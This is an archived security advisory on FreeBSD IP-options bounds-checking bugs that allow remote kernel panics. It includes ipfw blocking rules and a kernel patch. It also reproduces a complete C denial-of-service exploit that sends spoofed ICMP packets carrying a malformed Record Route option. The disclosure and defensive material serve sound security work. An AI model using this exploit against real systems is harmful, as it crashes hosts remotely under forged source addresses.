COMMAND

    kernel

SYSTEMS AFFECTED

    FreeBSD systems prior to 2000-06-08 (3.4-STABLE, 4.0-STABLE and 5.0-CURRENT)

PROBLEM

    Following  is  based  on  NetBSD  Security  Advisory  2000-002 and
    Jun-ichiro  Itojun  Hagino.   There   are  several  bugs  in   the
    processing of IP  options in the  FreeBSD IP stack,  which fail to
    correctly bounds-check arguments  and contain other  coding errors
    leading to the possibility of  data corruption and a kernel  panic
    upon reception of certain invalid IP packets.

    This  set  of  bugs  includes  the  instance  of the vulnerability
    described in NetBSD  Security Advisory 2000-002  as well as  other
    bugs with similar effect.  Remote users can cause a FreeBSD system
    to panic and reboot.

    'yeti' posted exploit:

    #include <stdio.h>
    #include <libnet.h>
    /* Remote denial-of-service in IP stack
       simple exploit by y3t1
                         y3t1@rast.lodz.pdi.net

    Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
              d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
	      all from :
	               #hwa.hax0r.news@efnet
	               #darnet@efnet
    */
    int rand_n(u_long zakres)
    {
      return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
    }

    int main(int argc, char **argv)
    {
        char a;
        int sock, c,pkt,ile;
        struct hostent *host;
        u_long src_ip, dst_ip;
        u_char *buf;
        u_char options[4];
        int option_s  = sizeof(options);
        struct ipoption ipopt;
        srand(time(NULL));
        ile=100;
        printf("  -= Remote denial-of-service in IP stack =- \n");
        printf("\n");
        printf("                          by y3t1/team140\n");
        printf("                             y3t1@rast.lodz.pdi.net \n");
        printf("\n");
        if  (argc < 4)
        {
         printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
         printf(" -s src_addr - source address \n");
         printf(" -d dst_addr - dest address \n");
         printf(" -p packets - how many packets send to dest (default 100)\n");
         exit(1);
        }
       opterr=0;
       while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
       {
	    switch(a) {
	     case 's': {
	               if ((host=gethostbyname(optarg))!=NULL)
		       bcopy(host->h_addr,&src_ip,host->h_length);
		       else src_ip=inet_addr(optarg);
		       break;
		       }
	     case 'd': {
	               if ((host=gethostbyname(optarg))!=NULL)
		       bcopy(host->h_addr,&dst_ip,host->h_length);
		       else dst_ip=inet_addr(optarg);
	      	       break;
                       }
             case 'p': {
	                ile=atoi(optarg);
		        break;
		       }
	     }
       }
        bzero(options,option_s);
        buf = malloc(IP_MAXPACKET);
        if (!buf)
        {
            perror("malloc");
            exit(-1);
        }
        sock = libnet_open_raw_sock(IPPROTO_RAW);
        if (sock == -1)
        {
            perror("socket");
            exit(-1);
        }
        libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);
        memcpy(ipopt.ipopt_list, options, option_s);
        *(ipopt.ipopt_list)     = IPOPT_RR;
        *(ipopt.ipopt_list+1)   = 3;
        *(ipopt.ipopt_list+2)   = 0xff;
        *(ipopt.ipopt_list+3)   = 0;
        c = libnet_insert_ipo(&ipopt,option_s,buf);
        if (c == -1)
        {
            printf("Error\n");
	    exit(1);
        }
        libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
        if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
        {
         printf("can't do checksum \n");
        }
     for (pkt=0;pkt<ile;pkt++)
     {
        buf[22]=rand_n(0xff);
        c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
     }
        free(buf);
        libnet_close_raw_sock(sock);
    }

SOLUTION

    Incoming  packets  containing  IP  Options  can  be  blocked  at a
    perimeter firewall or on  the local system, using  ipfw(8) (ipf(8)
    is also capable  of blocking packets  with IP Options,  but is not
    described  here).   The  following  ipfw  rules  are  believed  to
    prevent  the  denial-of-service  attack  (replace the rule numbers
    '100'-'103' with whichever rule  numbers are appropriate for  your
    local firewall, if you are already using ipfw):

        ipfw add 100 deny log ip from any to any ipopt rr
        ipfw add 101 deny log ip from any to any ipopt ts
        ipfw add 102 deny log ip from any to any ipopt ssrr
        ipfw add 103 deny log ip from any to any ipopt lsrr

    Note that there are legitimate uses for IP options, although  they
    are no believed to be in common use, and blocking them should  not
    cause any problems.  Therefore the log entries generated by  these
    ipfw  rules  will  not  necessarily  be  evidence  of an attempted
    attack.   Furthermore,  the  packets  may  be  spoofed  and   have
    falsified source addresses.

    Solution is one of the following:

        1) Upgrade  your FreeBSD  system to  3.4-STABLE, 4.0-STABLE or
           5.0-CURRENT after the respective correction dates.
        2) Apply the patch below and recompile your kernel.

    Either save  this advisory  to a  file, or  download the patch and
    detached PGP  signature from  the following  locations, and verify
    the signature using your PGP utility:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:23/ip_options.diff
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:23/ip_options.diff.asc

        # cd /usr/src/sys/netinet
        # patch -p < /path/to/patch_or_advisory

    Recompile your kernel as described in

        http://www.freebsd.org/handbook/kernelconfig.html

    and reboot the system.

    Index: ip_icmp.c
    ===================================================================
    RCS file: /ncvs/src/sys/netinet/ip_icmp.c,v
    retrieving revision 1.39
    diff -u -r1.39 ip_icmp.c
    --- ip_icmp.c	2000/01/28 06:13:09	1.39
    +++ ip_icmp.c	2000/06/08 15:26:39
    @@ -662,8 +662,11 @@
 			        if (opt == IPOPT_NOP)
 				        len = 1;
 			        else {
    +				    if (cnt < IPOPT_OLEN + sizeof(*cp))
    +					    break;
 				        len = cp[IPOPT_OLEN];
    -				    if (len <= 0 || len > cnt)
    +				    if (len < IPOPT_OLEN + sizeof(*cp) ||
    +				        len > cnt)
 					        break;
 			        }
 			        /*
    Index: ip_input.c
    ===================================================================
    RCS file: /ncvs/src/sys/netinet/ip_input.c,v
    retrieving revision 1.130
    diff -u -r1.130 ip_input.c
    --- ip_input.c	2000/02/23 20:11:57	1.130
    +++ ip_input.c	2000/06/08 15:25:46
    @@ -1067,8 +1067,12 @@
 		    if (opt == IPOPT_NOP)
 			    optlen = 1;
 		    else {
    +			if (cnt < IPOPT_OLEN + sizeof(*cp)) {
    +				code = &cp[IPOPT_OLEN] - (u_char *)ip;
    +				goto bad;
    +			}
 			    optlen = cp[IPOPT_OLEN];
    -			if (optlen <= 0 || optlen > cnt) {
    +			if (optlen < IPOPT_OLEN + sizeof(*cp) || optlen > cnt) {
 				    code = &cp[IPOPT_OLEN] - (u_char *)ip;
 				    goto bad;
 			    }
    @@ -1174,6 +1178,10 @@
 			    break;

 		    case IPOPT_RR:
    +			if (optlen < IPOPT_OFFSET + sizeof(*cp)) {
    +				code = &cp[IPOPT_OFFSET] - (u_char *)ip;
    +				goto bad;
    +			}
 			    if ((off = cp[IPOPT_OFFSET]) < IPOPT_MINOFF) {
 				    code = &cp[IPOPT_OFFSET] - (u_char *)ip;
 				    goto bad;
    Index: ip_output.c
    ===================================================================
    RCS file: /ncvs/src/sys/netinet/ip_output.c,v
    retrieving revision 1.99
    diff -u -r1.99 ip_output.c
    --- ip_output.c	2000/03/09 14:57:15	1.99
    +++ ip_output.c	2000/06/08 15:27:08
    @@ -1302,8 +1302,10 @@
 		    if (opt == IPOPT_NOP)
 			    optlen = 1;
 		    else {
    +			if (cnt < IPOPT_OLEN + sizeof(*cp))
    +				goto bad;
 			    optlen = cp[IPOPT_OLEN];
    -			if (optlen <= IPOPT_OLEN || optlen > cnt)
    +			if (optlen < IPOPT_OLEN + sizeof(*cp) || optlen > cnt)
 				    goto bad;
 		    }
 		    switch (opt) {